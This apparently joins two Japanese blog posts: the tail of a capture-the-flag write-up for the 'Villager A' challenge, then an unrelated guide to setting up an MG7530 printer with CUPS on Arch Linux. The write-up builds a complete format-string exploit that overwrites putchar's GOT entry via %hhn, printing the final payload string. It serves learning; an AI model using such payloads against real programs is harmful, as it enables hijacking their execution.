e8 87 04 08 movl $0x80487e8,(%esp) 80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> 80486a5: 89 84 24 1c 04 00 00 mov %eax,0x41c(%esp) 80486ac: 8b 84 24 1c 04 00 00 mov 0x41c(%esp),%eax 80486b3: 89 44 24 08 mov %eax,0x8(%esp) 80486b7: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 80486be: 00 80486bf: 8d 44 24 18 lea 0x18(%esp),%eax 80486c3: 89 04 24 mov %eax,(%esp) 80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt> 80486cb: 8d 44 24 18 lea 0x18(%esp),%eax 80486cf: 89 04 24 mov %eax,(%esp) 80486d2: e8 dd fd ff ff call 80484b4 <printf@plt> 80486d7: b8 00 00 00 00 mov $0x0,%eax 80486dc: c9 leave 80486dd: c3 ret 80486de: 90 nop 80486df: 90 nop
0x08048691あたりにジャンプすれば良さそうですね。
そして他の解法記事に習って、putchar()のGOT領域を上書きをしたいのでどこのアドレスを書きえればいいか調べてみます。 main関数内で、呼び出されている<putchar@plt>をディスアセンブルをしたものが以下です。
08048474 <putchar@plt>: 8048474: ff 25 e0 99 04 08 jmp *0x80499e0 804847a: 68 08 00 00 00 push $0x8 804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>
ということで、0x080499e0を書き換えてしまえば良さそうです。
つまり、0x080499e0に0x08048691を埋め込めばいいのです。
ということで、まずは\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08という文字列を流し込んでみます。
|....................|
|0x00000400| ←arg1
|0x004108c0| ←arg2
|0x00000008| ←arg3
|0x00000014| ←arg4
|0x00ed3fc4 | ←arg5
|0x080499e0| ←arg6(printf()へ入力した文字列はここから入る)
|0x080499e1| ←arg7
|0x080499e2| ←arg8
|0x080499e3| ←arg9
|....................|
すると、上のようになりますね。ということで、あとは適切なバイト数を出力した後に%hhnでarg6, arg7, arg8, arg9を指定してやればそのアドレスに書き込まれることが分かります。
適切なバイト数の出力の仕方ですが、%x等の出力子に数字をつけてやればいい感じにパディングできるのでそれを使います。
結局書き込みたい値と書き込み先アドレスは、以下のとおりです。
書き込み先アドレス | 書き込みたい値 |
---|---|
0x080499e0 | 0x91 |
0x080499e1 | 0x86 |
0x080499e2 | 0x04 |
0x080499e3 | 0x08 |
ここで一旦、以下のプログラムを見てください。
#include <stdio.h> int main() { char *hoge; printf("%256x%1$n\n", &hoge); printf("%hhx\n", hoge); return 0; }
二個目のprintf()の出力はいくつになるでしょうか。正解は、0です。まあ、当然ですよね。実はこれが、先程のパディングに使えます。
例えば、出力したい数が0x10だとしましょう。しかし、すでに0x12バイト出力されているとします。このとき、0xffまで出力してしまってから、0x11を出力し%hhnを呼べば0x10を出力することが出来ます。
ではいよいよ本命のFSAの組み立てをしていきましょう。
ここまでで既に4byte * 4 = 16byte出力していますね。で、次に出力したいのは0x91 = 145です。素直に引き算しちゃいましょう。145 - 16 = 129
%129x%6$hhn
次に出力したいのは0x86 = 134ですね。オーバーしちゃいましたので、先程紹介したテクニックをつかって。256 - 145 + 134 = 245
%245x%7$hhn
あとはやるだけです。0x04 = 4。256 - 134 + 4 = 126
%126x%8$hhn
最後。0x08 = 8。8 - 4 = 4
%4x%9$hhn
これで完成。
\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn
やっとできたーー!!!このやりがい、たまらないですね。教えてくださったはっぴーのーとさん、本当にありがとうございました!
おわりに
雑多な文章で申し訳ありませんが、私がVillager Aを解いたときの心境などをそのまま書き込んだつもりです。 僕のようにVillager Aで苦しんでいる方のご参考になれば嬉しいです!
また、本文中に間違いや質問したいこと等があればお気軽にご連絡ください。
ArchLinuxでMG7530を使う
Linuxで、戸惑うことが多いのがプリンターの設定である。 CUPSというものを使えば、これを比較的簡単に行うことが出来るので共有したい。
CUPSのインストール
簡単だ。いつものようにpacmanでインストールすれば良い。
# pacman -S cups
Archwikiにもあるが、インストール後は以下のコマンドでorg.cups.cupsd.serviceを有効化・起動する必要がある。
# systemctl enable org.cups.cupsd # systemctl start org.cups.cupsd
これでCUPSが使えるようになる。
MG7530ドライバーのインストール
メーカーにドライバーがあるが、これをダウンロードして展開してくれるAURパッケージがすでにあるのでありがたく使わせて頂こう。
$ yaourt -S cnijfilter2-mg7500
AURヘルパーに関しては色々なものがあるので、それらを使うか自分で落としてきてmakepkgするのも良いと思う。
プリンターの追加
CUPSの操作をしていくわけだが、詳細な設定をするわけでなければGUIがあると便利だ。CUPSにはWeb GUIフロントエンドがあるのでこれを使おう。以下のアドレスにアクセスすると良い。
アクセス出来ない場合は、cupsサービスが起動しているかもう一度確認してみよう。
上側のタブに「管理」というものがあるので、そこに遷移して「新しいプリンターの追加」をクリックする。 しばらくすると、MG7530らしきものが出てくるので、あとはGUIに従って設定していくだけだ。
出てこない場合は、プリンターと同じネットワークに接続されているかなどもう一度確認してみよう。
これで、MG7530が使えるようになる。